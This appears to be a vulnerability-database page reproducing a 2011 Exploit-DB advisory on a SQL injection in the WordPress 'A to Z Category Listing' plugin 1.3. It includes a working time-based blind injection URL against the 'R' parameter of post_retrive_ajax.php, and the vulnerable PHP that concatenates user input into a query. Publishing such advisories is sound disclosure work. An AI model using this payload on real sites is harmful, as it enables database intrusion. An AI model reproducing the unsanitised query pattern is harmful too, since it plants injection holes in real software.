WordPress A to Z Category Listing plugin

vendor:

A to Z Category Listing

by:

Miroslav Stampar

CVSS

HIGH

SQL Injection

CWE

Product Name: A to Z Category Listing

Affected Version From: 1.3

Affected Version To: 1.3

Patch Exists: YES

Related CWE: N/A

CPE: a:wordpress:a_to_z_category_listing

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2011

WordPress A to Z Category Listing plugin <= 1.3 SQL Injection Vulnerability

A SQL injection vulnerability exists in WordPress A to Z Category Listing plugin version 1.3 and earlier. The vulnerability is due to insufficient sanitization of user-supplied input in the 'R' parameter of the 'post_retrive_ajax.php' script. An attacker can exploit this vulnerability to inject and execute arbitrary SQL commands in the application's back-end database.

Mitigation:

Ensure that user-supplied input is properly sanitized before being used in SQL queries.

Source

Exploit-DB raw data:

# Exploit Title: WordPress A to Z Category Listing plugin <= 1.3 SQL Injection Vulnerability
# Date: 2011-09-09
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/a-to-z-category-listing.zip
# Version: 1.3 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/a-to-z-category-listing/post_retrive_ajax.php?R=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

---------------
Vulnerable code
---------------
$init_letter = $_GET['R'];
$sql = "select * from ".$table_prefix."terms wpt,".$table_prefix."term_taxonomy wptt where wpt.name like '".$init_letter."%' and wptt.taxonomy = 'category' and wpt.term_id = wptt.term_id";
...
$sql_rec = $wpdb->get_results($sql);